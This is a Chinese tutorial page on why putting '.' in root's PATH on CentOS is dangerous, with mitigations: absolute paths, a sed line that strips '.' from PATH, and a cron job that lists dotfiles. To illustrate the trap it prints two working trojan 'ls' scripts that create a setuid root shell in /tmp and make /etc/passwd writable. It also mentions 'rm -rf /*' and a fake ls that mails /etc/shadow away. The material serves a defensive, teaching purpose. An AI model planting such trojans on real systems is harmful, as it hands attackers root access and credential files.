• 微课视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 程序设计
  • 信息安全
微课江湖
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 微课视频
  • bios
  • 系统安装
  • 系统进程
  • Windows
  • LINUX
  • RedHat/Centos
  • Ubuntu/Debian
  • Fedora
  • Solaris
  • 麒麟系统
  • 红旗Linux
  • 苹果MAC
  • 注册表
  • 其它系统
您的位置:首页 > 操作系统 >RedHat/Centos > centos环境变量如何设置安全问题?

centos环境变量如何设置安全问题?

作者:佚名 字体:[增加 减小] 来源:互联网 时间:2017-05-12

佚名 通过本文向大家介绍了centos 环境变量,centos 设置环境变量,centos配置环境变量,centos 查看环境变量,centos 添加环境变量等相关知识,希望对您有所帮助,也希望大家多多支持微课江湖

.是代表当前目录。如果将这点写入root的环境变量,执行脚本时,你只需要打脚本的名字,系统就会在当前的目录下找该脚本并执行。

例如,一个U盘插入电脑,你打了一个文件名字,系统就会执行U盘中的该文件,如果有木马程序,也会被执行,比如脚本中有rm -rf /* 这样的命令,你的系统就会被删除。

设想一下,有一个人在一个他能写的目录下写了一个名为ls的可执行程序,程序会把/etc/shadow文件发送到某一邮箱,而root又恰巧在那个目录下,想ls下,结果是什么呢?

所以,很多安全要求高的Unix系统甚至要求用绝对路径调用命令

本文主要讲述“.”在LINUX的环境变量PATH中所带来的问题,及解决的几种方法。

正如很多人所知道的$PATH环境变量里存着一张目录列表,当用户要执行某一程序时,系统就会按照列表中的内容去查找该程序的位置。当程序名前不带点斜线 . / 时$PATH就会起作用。

对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这在本机进行脚本开发的程序员来说却不方便,想图省事的人就把点加到了搜索路径中,这就等于在你的系统埋下了险情。

例如:root为了方便使用在他的当前路径末尾加了个点"."(搜索目录为代表当前目录)

命令操作如下:

[root@rh root]# PATH=$PATH:.

[root@rh root]# echo $PATH

/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.

这下是方便了,直接输入脚本名就能执行。OK,正常情况下一点问题没有,也省去了输入./foo.sh的烦恼(foo.sh是我假设的脚本文件名)。有的root把PATH=$PATH:.这条命令加到了profile里,使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然PATH=.:$PATH(将":"加到路径前是另一种形式)。正常请况下一点问题没有,直到有一天,张三用户在他的主目录下放了名为lls的脚本,并对root说他的系统出问题了希望root能帮他解决。(其实是一个trap)。Root一上来就su 成管理员权限,紧更着列了一下目录。有可能管理员误敲成了lls,结果哈哈。。。。

以下是个简单的C shell 的例子

#!/bin/csh

If ( ! -o /bin/su )

goto finish

cp /bin/sh /tmp/.sh

chmod 7777 /tmp/.sh

finish :

exec /bin/ls $argv | grep -v ls

稍微变形就有个B shell的

#!/bin/sh

if chmod 666 /etc/passwd > /dev/null 2>&1 ;then

cp /bin/sh /tmp/.sh

chmod 4755 /tmp/.sh

fi

exec ls "$@"

如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的系统目录,那么当用户在/tmp中执行ls时,执行的是上面给出的脚本,而不是实际的ls命令,因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本,就会将口令文件设置为可写,并将shell复制到/tmp保存为.sh,同时设置其setuserid位,所有这一切都非常安静地发生。

在以上这两个程序里,心怀不鬼的人能写入任何令root急的要跳楼的程序,部下陷阱等root来钻,也许root在不知不觉中施行了也根本不会察觉。 也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本,root可能一到他的机器前就输入了ps,此时系统会首先到当前目录下搜索,结果/sbin/ps却不被执行。类似这样的小花招还有很多。

管理员同志,不要太紧张,下面我说说解决办法。

首先,要养成输绝对路径的良好命令行输入习惯,这样就不会让"不法份子"乘虚而入了。比如,列目录最好用/bin/ls来列目录,不要图方便而冒然输入ls。

其次,根用户(root)不要把"."包括到搜索目录列表里,而普通用户如果个"."包括到搜索列表中的话别,则"."就应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前面所述的那种危害。

最后,可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行

[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

这个简单的sed命令将删除路径里所有的"."包括其另一形式"::"

还可以由crontab调用定期执行

#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt

来搜索所有以点开头的文件,再发送到root的邮箱里,再进行比较等任务。

</div>
分享到:QQ空间新浪微博腾讯微博微信百度贴吧QQ好友复制网址打印

您可能想查找下面的文章:

  • centos环境变量如何设置安全问题?
  • CentOS系统环境精简优化详解
  • CentOS 添加环境变量的三种方法(图文教程)
  • CentOS 6.3下安装部署CHEF环境教程

相关文章

  • 2017-05-12使用ntp从时间同步服务器更新centos系统时间的方法
  • 2017-05-12CentOS禁用与开启触摸板的方法
  • 2017-05-12CentOS7如何设置网络自动启动?
  • 2017-05-12详解centos7安装rabbitMq教程
  • 2017-05-12CentOS7下图形配置网络的方法
  • 2017-05-12CentOS 6.4如何安装及设置GlusterFS以解决网络存储的问题
  • 2017-05-12修改虚拟机中的centos系统分辨率的方法
  • 2017-05-12CentOS下安装使用FTP服务器端程序ProFTPd的教程
  • 2017-05-12虚拟主机管理程序ISPConfig-3.0.2.2 安装脚本,一键安装
  • 2017-05-12CentOS桌面版切换登录root账户图文教程

文章分类

  • bios
  • 系统安装
  • 系统进程
  • Windows
  • LINUX
  • RedHat/Centos
  • Ubuntu/Debian
  • Fedora
  • Solaris
  • 麒麟系统
  • 红旗Linux
  • 苹果MAC
  • 注册表
  • 其它系统

最近更新的内容

    • extundelete实现Linux下文件 文件夹数据恢复教程
    • centos忘记密码怎么重置root密码?
    • 使用U盘作为载体使用UltraISO软碟通安装Centos6.4
    • CentOS下软链接建立与删除的方法
    • CentOS7.1如何配置网卡?
    • 如何解决centos7中python-pip模块不存在?
    • 在CentOS、Fedora系统中使用Docker的方法
    • CentOS下Pureftp的配置文件常用配置项整理
    • CentOS启动失败 CentOS开机卡在进度条的解决方法
    • CentOS怎么更新内核? CentOS5.5更新内核到2.6.32.71的教程

关于我们 - 联系我们 - 免责声明 - 网站地图 - 投诉建议

©CopyRight 2015-2017 www.weikejianghu.com Inc All Rights Reserved. 微课江湖 版权所有